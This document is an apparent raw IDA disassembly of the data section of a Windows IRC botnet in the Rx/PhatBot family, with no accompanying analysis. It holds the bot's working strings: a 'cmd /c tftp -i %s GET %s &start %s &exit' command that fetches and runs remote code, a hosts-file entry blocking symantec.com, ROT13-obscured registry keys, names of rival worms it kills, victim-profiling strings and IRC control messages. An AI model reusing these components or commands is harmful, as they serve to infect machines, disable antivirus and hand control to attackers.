dword_4416F0	dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 0
					; DATA XREF: .text:0043EEB4o
dword_441704	dd 2E504E50h, 61hdword_44170C	dd 41435302h, 3A3A204Eh, 220hdword_441718	dd 43207852h, 726F6C6Fh, 6E616353h, 622Eha127_0_0_1Www_s	db 0Ah			; DATA XREF: .text:0043EEA4o
		db '127.0.0.1',9,'www.symantec.com',0Ah,0
		align 4
aChangehosts	db 'ChangeHosts',0      ; DATA XREF: .text:0043EEA0o
dword_441754	dd 57501C43h, 5AD1FF56h, 8430358h, 8B52F88Bh, 0dword_441768	dd 6C6C6548h, 2E746F62h, 62hdword_441774	dd 6C6C6548h, 2E746F62h, 61haRpcpatch_mutex	db 'RpcPatch_Mutex',0   ; DATA XREF: .text:0043EE8Co
		align 10h
aWelchia_a	db 'Welchia.a',0        ; DATA XREF: .text:0043EE88o
		align 4
aAddexExinfo	db 'AddEx(exinfo)',0    ; DATA XREF: .text:0043EE84o
		align 4
aZotobForbotMod	db 'Zotob/ForBot Mods',0 ; DATA XREF: .text:0043EE80o
		align 10h
dword_4417C0	dd 0DDCA6D6Ah, 8090F0E4h, 4A22Fh					; .text:0043EE94o
aBlaster	db 'Blaster',0          ; DATA XREF: .text:0043EE78o
		align 8
aFbsgjnerZvpe_0	db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\Irefv'
					; DATA XREF: .text:0043EE74o
		db 'ba',0
aMydoom_c	db 'MyDoom.C',0         ; DATA XREF: .text:0043EE70o
		align 4
aFbsgjnerZvpebf	db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0
					; DATA XREF: .text:0043EE6Co
		align 4
aMydoom_b	db 'MyDoom.B',0         ; DATA XREF: .text:0043EE68o
		align 10h
dword_441860	dd 9E3C1385h, 0A2hdword_441868	dd 6F44794Dh, 412E6D6Fh, 2 dup(0)aSendingYouPack	db '** Sending you pack #%i ("%s"), which is %sB (resume supported)',0
					; DATA XREF: .text:0043EE5Co
aIrofferAll	db 'Iroffer-All',0      ; DATA XREF: .text:0043EE58o
aTotalOffered1_	db 'Total Offered: %1.1f MB  Total Transferred: %1.2f %cB',0
					; DATA XREF: .text:0043EE54o
		align 4
aIroffer_b	db 'Iroffer.b',0        ; DATA XREF: .text:0043EE50o
		align 4
aHttpIroffer_or	db 'http://iroffer.org/',0 ; DATA XREF: .text:0043EE4Co
aIroffer_a	db 'Iroffer.a',0        ; DATA XREF: .text:0043EE48o
		align 4
aRoot_start	db 'root.start',0       ; DATA XREF: .text:0043EE44o
		align 4
aOtherbot_b	db 'Otherbot.b',0       ; DATA XREF: .text:0043EE40o
		align 10h
aScan_start	db 'scan.start',0       ; DATA XREF: .text:0043EE3Co
		align 4
aOtherbot_a	db 'Otherbot.a',0       ; DATA XREF: .text:0043EE38o
		align 4
aRpc_c		db 'RPC.c:',0           ; DATA XREF: .text:0043EE34o
		align 10h
aLinkbot_rpc	db 'Linkbot.RPC',0      ; DATA XREF: .text:0043EE30o
aDcom2		db 'dcom2:',0           ; DATA XREF: .text:0043EE2Co
		align 4
aLinkbot_dcom_c	db 'Linkbot.dcom.c',0   ; DATA XREF: .text:0043EE28o
		align 4
aDcom2_c	db 'dcom2.c:',0         ; DATA XREF: .text:0043EE24o
		align 10h
aLinkbot_dcom_b	db 'Linkbot.dcom.b',0   ; DATA XREF: .text:0043EE20o
		align 10h
dword_4419A0	dd 234032Dh, 6D6F6364h,	2632E32h, 2D03hdword_4419B0	dd 6B6E694Ch, 2E746F62h, 6D6F6364h, 612Ehdword_4419C0	dd 63737069h, 2A206E61h, 2A2E2A2Eh, 2A2Ehdword_4419D0	dd 6B6E694Ch, 2D746F62h, 6E616353h, 612Ehdword_4419E0	dd 4D9F4AB8h, 8611CF1Ch, 1EhaRmact		db 'RMACT',0            ; DATA XREF: .text:0043EE08o
		align 4
aWeBackLooooooo	db 'We BaCk LoooooooooooOOOOOOOOOOOOOooo',0 ; DATA XREF: .text:0043EE04o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .text:0043EE00o
		align 10h
dword_441A20	dd 0F254C481h, 0E8FCFFFFh, 46hoff_441A2C	dd offset byte_4E5341	; DATA XREF: .text:0043EDF8o
dword_441A30	dd 0D959516Ah, 2474D9EEh, 0F4haNetapi4444bind	db 'Netapi4444Bind',0   ; DATA XREF: .text:0043EDF0o
		align 4
a3GsUT		db '3Ƀt',0        ; DATA XREF: .text:0043EDECo
		align 4
off_441A58	dd offset byte_4D5953	; DATA XREF: .text:0043EDE8o
dword_441A5C	dd 0E983C933h, 0D9EED9AFh, 74haC101		db 'C101',0             ; DATA XREF: .text:0043EDE0o
		align 10h


loc_441A70:				; DATA XREF: .text:0043EDDCo
		jmp	short loc_441A74
; ---------------------------------------------------------------------------


loc_441A72:				; CODE XREF: .text:loc_441A74p
		jmp	short near ptr byte_441A79
; ---------------------------------------------------------------------------


loc_441A74:				; CODE XREF: .text:loc_441A70j
		call	loc_441A72
; ---------------------------------------------------------------------------
byte_441A79	db 3 dup(0)		; CODE XREF: .text:loc_441A72j
dword_441A7C	dd 412E5450h, 0	dword_441A84	dd 4143535Bh, 203A5D4Eh, 0dword_441A90	dd 53207852h, 6E6163hdword_441A98	dd 0D959506Ah, 2474D9EEh, 0F4hdword_441AA4	dd 5D42525Bh, 53746F42h, 6C6C6568h, 0dword_441AB4	dd 34D9E1D9h, 58585824h, 58hdword_441AC0	dd 6F626159h, 612E74h; ---------------------------------------------------------------------------


loc_441AC8:				; DATA XREF: .text:0043EDBCo
		jmp	short near ptr aTftp_0+6
; ---------------------------------------------------------------------------
		dw 758Bh
		dd 35748B3Ch, 78h
dword_441AD4	dd 47323357h, 53206E65h, 43haCmdCTftpISGetS	db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: .text:0043EDB4o
		align 4
aTftpget_b	db 'TFTPGet.b',0        ; DATA XREF: .text:0043EDB0o
		align 4
aTftp_0		db '[TFTP]',0           ; CODE XREF: .text:loc_441AC8j
					; DATA XREF: .text:0043EDACo
		align 10h
aRxTftp		db 'Rx TFTP',0          ; DATA XREF: .text:0043EDA8o
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Ah,0 ; DATA XREF: .text:0043EDA4o
		align 10h
aTftpget_a	db 'TFTPGet.a',0        ; DATA XREF: .text:0043EDA0o
		align 4
a220BotServerWi	db '220 Bot Server (Win32)',0Dh,0Ah,0 ; DATA XREF: .text:0043ED9Co
		align 4
aPhatbot	db 'PhatBot',0          ; DATA XREF: .text:0043ED98o
a220WelcomeToBo	db '220 "Welcome to Bot FTP service."',0Dh,0Ah,0
					; DATA XREF: .text:0043ED94o
aAgobot		db 'AgoBot',0           ; DATA XREF: .text:0043ED90o
		align 4
aStnyftpd0wnsJ0	db 'StnyFtpd 0wns j00',0 ; DATA XREF: .text:0043ED8Co
		align 10h
aStnyftpd	db 'StnyFtpd',0         ; DATA XREF: .text:0043ED88o
		align 4
aReptileWelcome	db 'Reptile welcomes you...',0 ; DATA XREF: .text:0043ED84o
aRepFtpd	db 'Rep FTPd',0         ; DATA XREF: .text:0043ED80o
		align 10h


loc_441BE0:				; DATA XREF: .text:0043ED7Co
		jmp	short near ptr word_441BF2
; ---------------------------------------------------------------------------
		dw 4B5Bh
		dd 0B966C933h, 25h
dword_441BEC	dd 4C205852h			db 53h,	0
word_441BF2	dw 0			; CODE XREF: .text:loc_441BE0j
dword_441BF4	dd 5054465Bh, 203A5Dhdword_441BFC	dd 46207852h, 7074h; ---------------------------------------------------------------------------


loc_441C04:				; DATA XREF: .text:0043ED6Co
		jmp	short loc_441C16
; ---------------------------------------------------------------------------
		dw 4A5Ah
		dd 0B966C933h, 7Dh
dword_441C10	dd 20706552h	; ---------------------------------------------------------------------------
		push	ebx
		inc	ebx


loc_441C16:				; CODE XREF: .text:loc_441C04j
		xor	al, [eax]


loc_441C18:				; DATA XREF: .text:0043ED64o
		jmp	short near ptr word_441C2A
; ---------------------------------------------------------------------------
		dw 4A5Ah
		dd 0B966C933h, 66h
dword_441C24	dd 53205852h			db 43h,	32h
word_441C2A	dw 0			; CODE XREF: .text:loc_441C18j
dword_441C2C	dd 364C033h, 0C783040h,	8Bhdword_441C38	dd 53205852h, 3143hdword_441C40	dd 43524902h, 203A3A20h, 2dword_441C4C	dd 43207852h, 726F6C6Fh, 2E435249h, 62hdword_441C5C	dd 49414D02h, 3A3A204Eh, 220hdword_441C68	dd 43207852h, 726F6C6Fh, 622Ehdword_441C74	dd 63533A3Ah, 3A3A6E61h, 0dword_441C80	dd 43207852h, 726F6C6Fh, 6E616353h, 0dword_441C90	dd 614D3A3Ah, 3A3A6E69h, 0dword_441C9C	dd 43207852h, 726F6C6Fh, 0dword_441CA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: .text:0043ED34o
		dd 2BBBB02h, 73552020h,	7265h
dword_441CC8	dd 5A4E7852h, 632E4Dha_n_z_m_Irc_p_l	db '.n.z.m. (irc.p.l.g) .. ',0 ; DATA XREF: .text:0043ED2Co
		align 4
aRxnzm_b	db 'RxNZM.b',0          ; DATA XREF: .text:0043ED28o
dword_441CF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: .text:0043ED24o
		dd 2BBBB02h, 20h
aRxnzm		db 'RxNZM',0            ; DATA XREF: .text:0043ED20o
		align 4
dword_441D18	dd 234032Dh, 6E69616Dh,	202D0302h, 0dword_441D28	dd 4C2D7852h, 2D6B6E69h, 2E414950h, 63hdword_441D38	dd 234032Dh, 6E616373h,	202D0302h, 0dword_441D48	dd 4C2D7852h, 2D6B6E69h, 414950hdword_441D54	dd 5446545Bh, 3A5D4450h, 20hdword_441D60	dd 54207852h, 64505446h, 0dword_441D6C	dd 5446545Bh, 203A5D50h, 0dword_441D78	dd 54207852h, 2E505446h, 62hdword_441D84	dd 50544654h, 2F2Fhdword_441D8C	dd 53207852h, 6873616Ch, 7446542Dh, 70hdword_441D9C	dd 4E414353h, 2F2Fhdword_441DA4	dd 53207852h, 6873616Ch, 6163532Dh, 6Ehdword_441DB4	dd 4E49414Dh, 2F2Fhdword_441DBC	dd 53207852h, 6873616Ch, 0dword_441DC8	dd 4F57445Bh, 414F4C4Eh, 203A5D44h, 0dword_441DD8	dd 44207852h, 6C6E776Fh, 64616Fhdword_441DE4	dd 5054465Bh, 203A5D44h, 0dword_441DF0	dd 46207852h, 447074hdword_441DF8	dd 59454B5Bh, 5D474F4Ch, 203Ahdword_441E04	dd 4B207852h, 6F4C7965h, 67hdword_441E10	dd 234032Dh, 2637269h, 2D03haPiabot		db 'PiABot',0           ; DATA XREF: .text:0043ECC8o
		align 4
aIrc		db 'IRC//',0            ; DATA XREF: .text:0043ECC4o
		align 4
aRxIrc_c	db 'Rx IRC.c',0         ; DATA XREF: .text:0043ECC0o
		align 4
aIrc_0		db '[IRC]: ',0          ; DATA XREF: .text:off_43ECBCo
aRxIrc		db 'Rx IRC',0           ; DATA XREF: .text:0043ECB8o
		align 4
aSFoundStringSI	db '%s Found string "%s" in "%s" File "%s"',0Ah ; DATA XREF: sub_417823+D1o
		db 0Ah,0
		align 4
aSTerminatedAnd	db '%s Terminated and deleted %s',0Ah,0 ; DATA XREF: sub_417989+BDo
		align 4
aSRunningAvscan	db '%s Running AVScan on %s',0Ah,0 ; DATA XREF: sub_417A90+18Do
		align 10h
aSProcsFinished	db '%s Procs Finished: "%s", Total Running Time: %s.',0
					; DATA XREF: sub_417CD7+2F0o
		align 4
aSCreatedProcSP	db '%s Created proc: "%s", PID: <%d>',0 ; DATA XREF: sub_417CD7+1DBo
					; sub_417CD7+205o
		align 4
aSFailedToCre_0	db '%s Failed to create proc: "%s",error: <%d>',0
					; DATA XREF: sub_417CD7+167o
					; sub_417CD7+191o
		align 4
aSCouldnTPars_0	db '%s Couldn',27h,'t parse path,error: <%d>',0 ; DATA XREF: sub_417CD7+A5o
					; sub_417CD7+CCo
		align 4
aSPidIKilledAnd	db '%s PID "%i" killed and deleted',0 ; DATA XREF: sub_418010+41Co
		align 4
aSFailedToKillA	db '%s Failed to kill and erase proc',0 ; DATA XREF: sub_418010+3B3o
		align 4
aSFailedToKillP	db '%s Failed to kill proc',0 ; DATA XREF: sub_418010:loc_4182EBo
		align 4
aSPidIKilled	db '%s PID "%i" killed',0 ; DATA XREF: sub_418010+275o
		align 4
aSProSKilledTot	db '%s Pro "%s" killed,total: <%s>',0 ; DATA XREF: sub_418010+214o
		align 4
aSUnableToListP	db '%s Unable to list procs,error: <%d>',0 ; DATA XREF: sub_418010+19Co
					; sub_418010+1BCo
aSEndOfList	db '%s End of list',0   ; DATA XREF: sub_418010+166o
		align 4
a6d10sS		db ' %-6d- %-10s- "%s"',0 ; DATA XREF: sub_418010+119o
		align 10h
aK		db ' K',0               ; DATA XREF: sub_418010+FDo
		align 4
aPidAMemoryUsag	db ' PID  - Memory Usage - Process',0 ; DATA XREF: sub_418010+ABo
aSProcsList	db '%s Procs List:',0   ; DATA XREF: sub_418010+8Do
		align 4
aSS_3		db '%s / %s',0Ah,0      ; DATA XREF: sub_418436+171o
		align 10h
aErrorD		db 'Error: <%d>',0      ; DATA XREF: sub_418436+118o
aUnknown	db 'unknown',0          ; DATA XREF: sub_418614+E0o
					; sub_41F6B4+3Bo
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_418614+5Co
					; sub_418812+4Eo
		align 4
a???		db '???',0              ; DATA XREF: sub_418930+4Ao
					; sub_418B58+17o
aDDayS0_2d0_2d	db '%d day(s) %0.2d:%0.2d',0 ; DATA XREF: sub_418A1B+73o
		align 4
a0_2d0_2d	db '%0.2d:%0.2d',0      ; DATA XREF: sub_418A1B+60o
aSCpuI64umhzRam	db '%s (CPU): %I64uMHz, (RAM): %sKB total, %sKB free, (O/S): Windows '
					; DATA XREF: sub_418B58+2FBo
		db '%s [Version %d.%d - %d], (SysDir): %s. (PC Name): %s, (Current Us'
		db 'er): %s, (Date): %s, (Time): %s, (UpTime): %s, (FreeSpace): %I64u'
		db 'GB/%I64uGB.',0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_418B58+180o
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_418B58+164o
aVista_0	db 'ViSTA',0            ; DATA XREF: sub_418B58+DDo
		align 10h
aBandwidthDownl	db '(Bandwidth): Downloaded: %s, Uploaded: %s.',0
					; DATA XREF: sub_418F30+1B3o
		align 4
aCountryS_	db '(Country): %s. ',0  ; DATA XREF: sub_418F30+183o
		align 10h
aSConnectionSIn	db '%s (Connection): %s, (IntIP): %s, (ExtIP): %s, (HostName): %s, (P'
					; DATA XREF: sub_418F30+164o
		db 'rivate): %s. ',0
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418F30+144o
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418F30+13Do
aSkb		db '%sKB',0             ; DATA XREF: sub_418F30+108o
		align 10h
aSgb		db '%sGB',0             ; DATA XREF: sub_418F30+EAo
		align 4
aSmb		db '%sMB',0             ; DATA XREF: sub_418F30+C7o
		align 10h
off_442260	dd offset loc_412F4C+2	; DATA XREF: sub_418F30:loc_418FA9o
off_442264	dd offset dword_4E414C	; DATA XREF: sub_418F30:loc_418FA2o
dword_442268	dd 6C616944h, 412F7075h, 4C5344hdword_442274	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_442284	dd 69626F4Dh, 5020656Ch, 656E6F68h, 0dword_442294	dd 626F6D2Eh, 69haWirelessAccess	db 'WireLess Access Point',0 ; DATA XREF: sub_41912B+7C2o
		align 4
a_wap		db '.wap',0             ; DATA XREF: sub_41912B:loc_4198DCo
		align 4
aSouthAfrica	db 'South Africa',0     ; DATA XREF: sub_41912B+7AAo
		align 4
off_4422CC	dd offset word_617A2E	; DATA XREF: sub_41912B:loc_4198C4o
dword_4422D0	dd 73752Eh	aUkraine	db 'Ukraine',0          ; DATA XREF: sub_41912B+77Ao
off_4422DC	dd offset word_61752E	; DATA XREF: sub_41912B:loc_419894o
aTaiwan		db 'Taiwan',0           ; DATA XREF: sub_41912B+762o
		align 4
a_tw		db '.tw',0              ; DATA XREF: sub_41912B:loc_41987Co
aTurkey		db 'Turkey',0           ; DATA XREF: sub_41912B+747o
		align 4
a_tr		db '.tr',0              ; DATA XREF: sub_41912B:loc_419861o
aTokelauIsland	db 'Tokelau Island',0   ; DATA XREF: sub_41912B+72Co
		align 4
a_tk		db '.tk',0              ; DATA XREF: sub_41912B:loc_419846o
aThailand	db 'Thailand',0         ; DATA XREF: sub_41912B+711o
		align 4
a_th		db '.th',0              ; DATA XREF: sub_41912B:loc_41982Bo
aRussia		db 'Russia',0           ; DATA XREF: sub_41912B:loc_419821o
		align 4
a_su		db '.su',0              ; DATA XREF: sub_41912B+6E5o
a_st		db '.st',0              ; DATA XREF: sub_41912B:loc_4197FBo
aSlovakia	db 'Slovakia',0         ; DATA XREF: sub_41912B+6C6o
		align 4
a_sk		db '.sk',0              ; DATA XREF: sub_41912B:loc_4197E0o
aSlovenia	db 'Slovenia',0         ; DATA XREF: sub_41912B+6ABo
		align 4
a_si		db '.si',0              ; DATA XREF: sub_41912B:loc_4197C5o
aSingapore	db 'Singapore',0        ; DATA XREF: sub_41912B+690o
		align 4
a_sg		db '.sg',0              ; DATA XREF: sub_41912B:loc_4197AAo
aSweden		db 'Sweden',0           ; DATA XREF: sub_41912B+675o
		align 4
a_se		db '.se',0              ; DATA XREF: sub_41912B:loc_41978Fo
aSaudiArabia	db 'Saudi Arabia',0     ; DATA XREF: sub_41912B+65Ao
		align 4
off_442378	dd offset word_61732E	; DATA XREF: sub_41912B+649o
dword_44237C	dd 75722Eh	aRomania	db 'Romania',0          ; DATA XREF: sub_41912B+62Ao
a_ro		db '.ro',0              ; DATA XREF: sub_41912B:loc_419744o
aPortugal	db 'Portugal',0         ; DATA XREF: sub_41912B+60Fo
		align 4
a_pt		db '.pt',0              ; DATA XREF: sub_41912B:loc_419729o
aPoland		db 'Poland',0           ; DATA XREF: sub_41912B:loc_41971Fo
		align 4
a_pl		db '.pl',0              ; DATA XREF: sub_41912B:loc_41970Eo
aNewZealand	db 'New Zealand',0      ; DATA XREF: sub_41912B+5D9o
a_nz		db '.nz',0              ; DATA XREF: sub_41912B:loc_4196F3o
aJapan		db 'Japan',0            ; DATA XREF: sub_41912B:loc_4196E9o
		align 10h
a_nu		db '.nu',0              ; DATA XREF: sub_41912B:loc_4196D8o
aNorway		db 'Norway',0           ; DATA XREF: sub_41912B+5A3o
		align 4
a_no		db '.no',0              ; DATA XREF: sub_41912B:loc_4196BDo
aNetherlands	db 'Netherlands',0      ; DATA XREF: sub_41912B+588o
a_nl		db '.nl',0              ; DATA XREF: sub_41912B:loc_4196A2o
aMicrosoftLine	db 'Microsoft Line',0   ; DATA XREF: sub_41912B+56Do
		align 10h
a_ms		db '.ms',0              ; DATA XREF: sub_41912B:loc_419687o
aMalaysia	db 'Malaysia',0         ; DATA XREF: sub_41912B+552o
		align 10h
a_my		db '.my',0              ; DATA XREF: sub_41912B:loc_41966Co
aMalta		db 'Malta',0            ; DATA XREF: sub_41912B+537o
		align 4
off_44240C	dd offset word_616D2E	; DATA XREF: sub_41912B:loc_419651o
aLatvia		db 'Latvia',0           ; DATA XREF: sub_41912B+51Co
		align 4
a_lv		db '.lv',0              ; DATA XREF: sub_41912B:loc_419636o
aLithuania	db 'Lithuania',0        ; DATA XREF: sub_41912B+501o
		align 4
a_lt		db '.lt',0              ; DATA XREF: sub_41912B:loc_41961Bo
aKazakhstan	db 'Kazakhstan',0       ; DATA XREF: sub_41912B+4E6o
		align 4
a_kz		db '.kz',0              ; DATA XREF: sub_41912B:loc_419600o
aKorea		db 'Korea',0            ; DATA XREF: sub_41912B+4CBo
		align 4
a_kr		db '.kr',0              ; DATA XREF: sub_41912B:loc_4195E5o
aKyrgyzstan	db 'Kyrgyzstan',0       ; DATA XREF: sub_41912B+4B0o
		align 4
a_kg		db '.kg',0              ; DATA XREF: sub_41912B+49Fo
a_jp		db '.jp',0              ; DATA XREF: sub_41912B:loc_4195B5o
aItaly		db 'Italy',0            ; DATA XREF: sub_41912B+480o
		align 4
a_it		db '.it',0              ; DATA XREF: sub_41912B:loc_41959Ao
aIsrael		db 'Israel',0           ; DATA XREF: sub_41912B+465o
		align 10h
a_il		db '.il',0              ; DATA XREF: sub_41912B:loc_41957Fo
aIceland	db 'Iceland',0          ; DATA XREF: sub_41912B+44Ao
a_is		db '.is',0              ; DATA XREF: sub_41912B:loc_419564o
aIndia		db 'India',0            ; DATA XREF: sub_41912B+42Fo
		align 4
a_in		db '.in',0              ; DATA XREF: sub_41912B:loc_419549o
aIreland	db 'Ireland',0          ; DATA XREF: sub_41912B+414o
a_ie		db '.ie',0              ; DATA XREF: sub_41912B:loc_41952Eo
aIndonesia	db 'Indonesia',0        ; DATA XREF: sub_41912B+3F9o
		align 4
a_id		db '.id',0              ; DATA XREF: sub_41912B:loc_419513o
aHungary	db 'Hungary',0          ; DATA XREF: sub_41912B+3DEo
a_hu		db '.hu',0              ; DATA XREF: sub_41912B:loc_4194F8o
aHongKong	db 'Hong Kong',0        ; DATA XREF: sub_41912B+3C3o
		align 10h
a_hk		db '.hk',0              ; DATA XREF: sub_41912B:loc_4194DDo
aGreece		db 'Greece',0           ; DATA XREF: sub_41912B+3A8o
		align 4
a_gr		db '.gr',0              ; DATA XREF: sub_41912B:loc_4194C2o
aGeorgia	db 'Georgia',0          ; DATA XREF: sub_41912B+38Do
a_ge		db '.ge',0              ; DATA XREF: sub_41912B:loc_4194A7o
aFrance		db 'France',0           ; DATA XREF: sub_41912B+372o
		align 4
a_fr		db '.fr',0              ; DATA XREF: sub_41912B:loc_41948Co
aFiji		db 'FiJi',0             ; DATA XREF: sub_41912B+357o
		align 10h
a_fj		db '.fj',0              ; DATA XREF: sub_41912B:loc_419471o
aFinland	db 'Finland',0          ; DATA XREF: sub_41912B+33Co
a_fi		db '.fi',0              ; DATA XREF: sub_41912B:loc_419456o
aSpain		db 'Spain',0            ; DATA XREF: sub_41912B+321o
		align 4
a_es		db '.es',0              ; DATA XREF: sub_41912B:loc_41943Bo
aEstonia	db 'Estonia',0          ; DATA XREF: sub_41912B+306o
a_ee		db '.ee',0              ; DATA XREF: sub_41912B:loc_419420o
aDenmark	db 'Denmark',0          ; DATA XREF: sub_41912B+2EBo
a_dk		db '.dk',0              ; DATA XREF: sub_41912B:loc_419405o
aGermany	db 'Germany',0          ; DATA XREF: sub_41912B+2D0o
a_de		db '.de',0              ; DATA XREF: sub_41912B:loc_4193EAo
aCzechRepublic	db 'Czech Republic',0   ; DATA XREF: sub_41912B+2B5o
		align 10h
a_cz		db '.cz',0              ; DATA XREF: sub_41912B+2A4o
a_cx		db '.cx',0              ; DATA XREF: sub_41912B:loc_4193BAo
aUruguay	db 'Uruguay',0          ; DATA XREF: sub_41912B:loc_4193B0o
a_cr		db '.cr',0              ; DATA XREF: sub_41912B:loc_41939Fo
aCorpLine	db 'Corp Line',0        ; DATA XREF: sub_41912B+26Ao
		align 10h
a_co		db '.co',0              ; DATA XREF: sub_41912B:loc_419384o
aChina		db 'China',0            ; DATA XREF: sub_41912B:loc_41937Ao
		align 4
a_cn		db '.cn',0              ; DATA XREF: sub_41912B:loc_419369o
aChile		db 'Chile',0            ; DATA XREF: sub_41912B+234o
		align 4
a_cl		db '.cl',0              ; DATA XREF: sub_41912B:loc_41934Eo
aSwitzerland	db 'Switzerland',0      ; DATA XREF: sub_41912B+219o
a_ch		db '.ch',0              ; DATA XREF: sub_41912B+208o
off_44258C	dd offset word_63632E	; DATA XREF: sub_41912B:loc_41931Eo
off_442590	dd offset word_61632E	; DATA XREF: sub_41912B:loc_419303o
aBelarus	db 'Belarus',0          ; DATA XREF: sub_41912B+1CEo
a_by		db '.by',0              ; DATA XREF: sub_41912B:loc_4192E8o
aBrazil		db 'Brazil',0           ; DATA XREF: sub_41912B+1B3o
		align 4
a_br		db '.br',0              ; DATA XREF: sub_41912B:loc_4192CDo
aBulgaria	db 'Bulgaria',0         ; DATA XREF: sub_41912B+198o
		align 4
a_bg		db '.bg',0              ; DATA XREF: sub_41912B:loc_4192B2o
aBelgium	db 'Belgium',0          ; DATA XREF: sub_41912B+17Do
a_be		db '.be',0              ; DATA XREF: sub_41912B:loc_419297o
aAustralia	db 'Australia',0        ; DATA XREF: sub_41912B+162o
		align 4
a_au		db '.au',0              ; DATA XREF: sub_41912B:loc_41927Co
aAustria	db 'Austria',0          ; DATA XREF: sub_41912B+147o
a_at		db '.at',0              ; DATA XREF: sub_41912B+136o
a_ar		db '.ar',0              ; DATA XREF: sub_41912B+121o
off_4425E8	dd offset word_63612E	; DATA XREF: sub_41912B:loc_419237o
dword_4425EC	dd 74696E55h, 4B206465h, 64676E69h, 6D6Fhdword_4425FC	dd 6B752Eh	aEducationDept_	db 'Education Dept. Line',0 ; DATA XREF: sub_41912B+E7o
		align 4
a_edu		db '.edu',0             ; DATA XREF: sub_41912B:loc_419201o
		align 10h
aMilitaryLine	db 'Military Line',0    ; DATA XREF: sub_41912B+CCo
		align 10h
a_mil		db '.mil',0             ; DATA XREF: sub_41912B:loc_4191E6o
		align 4
aCompanyLine	db 'Company Line',0     ; DATA XREF: sub_41912B+B1o
		align 4
a_com		db '.com',0             ; DATA XREF: sub_41912B:loc_4191CBo
					; .text:off_44BB84o
		align 10h
aOrganisationLi	db 'Organisation Line',0 ; DATA XREF: sub_41912B+96o
		align 4
a_org		db '.org',0             ; DATA XREF: sub_41912B:loc_4191B0o
		align 4
aInformationalL	db 'Informational Line',0 ; DATA XREF: sub_41912B+7Bo
		align 10h
a_info		db '.info',0            ; DATA XREF: sub_41912B:loc_419195o
		align 4
aNetworkLine	db 'Network Line',0     ; DATA XREF: sub_41912B+60o
		align 4
a_net		db '.net',0             ; DATA XREF: sub_41912B:loc_41917Ao
		align 10h
aGovernmentLine	db 'Government Line',0  ; DATA XREF: sub_41912B+45o
a_gov		db '.gov',0             ; DATA XREF: sub_41912B+34o
		align 4
aSPingRequestFr	db '%s Ping request from: [%s!%s@%s]!',0 ; DATA XREF: sub_419B2F+38Do
		align 4
dword_4426DC	dd 4E495001h, 73252047h, 0dword_4426E8	dd 4E495001h, 47haSVersionReques	db '%s Version request from: [%s!%s@%s]!',0 ; DATA XREF: sub_419B2F+328o
		align 4
dword_442718	dd 52455601h, 4E4F4953h, 1732520h, 0dword_442728	dd 52455601h, 4E4F4953h, 1dword_442734	dd 25217325h, 73254073h, 0dword_442740	dd 2Bh							; sub_419F6A+8Do
aTopic_0	db 'topic',0            ; DATA XREF: sub_419F6A+10Co
		align 4
a422		db '422',0              ; DATA XREF: sub_41A1C8+A9o
a376		db '376',0              ; DATA XREF: sub_41A1C8+9Co
a005		db '005',0              ; DATA XREF: sub_41A1C8+91o
a366		db '366',0              ; DATA XREF: sub_41A1C8+7Do
a332		db '332',0              ; DATA XREF: sub_41A1C8+6Co
a302		db '302',0              ; DATA XREF: sub_41A1C8+5Fo
off_442764	dd offset dword_554B48	; DATA XREF: sub_41A292+ABo
aHkey_users	db 'HKEY_USERS',0       ; DATA XREF: sub_41A292+9Ao
		align 4
aHkcc		db 'HKCC',0             ; DATA XREF: sub_41A292+89o
		align 4
aHkey_current_c	db 'HKEY_CURRENT_CONFIG',0 ; DATA XREF: sub_41A292+78o
aHkcr		db 'HKCR',0             ; DATA XREF: sub_41A292+67o
		align 4
aHkey_classes_r	db 'HKEY_CLASSES_ROOT',0 ; DATA XREF: sub_41A292+56o
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_41A292+45o
					; sub_41AA69+9Bo ...
		align 4
aHkey_current_u	db 'HKEY_CURRENT_USER',0 ; DATA XREF: sub_41A292+30o
		align 4
aHklm		db 'HKLM',0             ; DATA XREF: sub_41A292+1Bo
					; sub_41AA69+94o ...
		align 10h
aHkey_local_mac	db 'HKEY_LOCAL_MACHINE',0 ; DATA XREF: sub_41A292+6o
		align 4
aDw		db 'DW',0               ; DATA XREF: sub_41A370+60o
		align 4
aReg_dword	db 'REG_DWORD',0        ; DATA XREF: sub_41A370+54o
					; sub_41A3EF:loc_41A420o
		align 4
aMu		db 'MU',0               ; DATA XREF: sub_41A370+48o
		align 4
aReg_multi_sz	db 'REG_MULTI_SZ',0     ; DATA XREF: sub_41A370+3Co
					; sub_41A3EF:loc_41A442o
		align 4
aEx		db 'EX',0               ; DATA XREF: sub_41A370+30o
		align 4
aReg_expand_sz	db 'REG_EXPAND_SZ',0    ; DATA XREF: sub_41A370+24o
					; sub_41A3EF:loc_41A40Eo
		align 4
aSz		db 'SZ',0               ; DATA XREF: sub_41A370+18o
		align 10h
aReg_sz		db 'REG_SZ',0           ; DATA XREF: sub_41A370+Co
					; sub_41A3EF:loc_41A414o
		align 4
aReg_dword_big_	db 'REG_DWORD_BIG_ENDIAN',0 ; DATA XREF: sub_41A3EF:loc_41A44Eo
		align 10h
aReg_link	db 'REG_LINK',0         ; DATA XREF: sub_41A3EF:loc_41A448o
		align 4
aReg_qword	db 'REG_QWORD',0        ; DATA XREF: sub_41A3EF:loc_41A43Co
		align 4
aUnknown_0	db 'UNKNOWN',0          ; DATA XREF: sub_41A3EF:loc_41A436o
aReg_none	db 'REG_NONE',0         ; DATA XREF: sub_41A3EF:loc_41A41Ao
		align 4
aReg_binary	db 'REG_BINARY',0       ; DATA XREF: sub_41A3EF+19o
		align 4
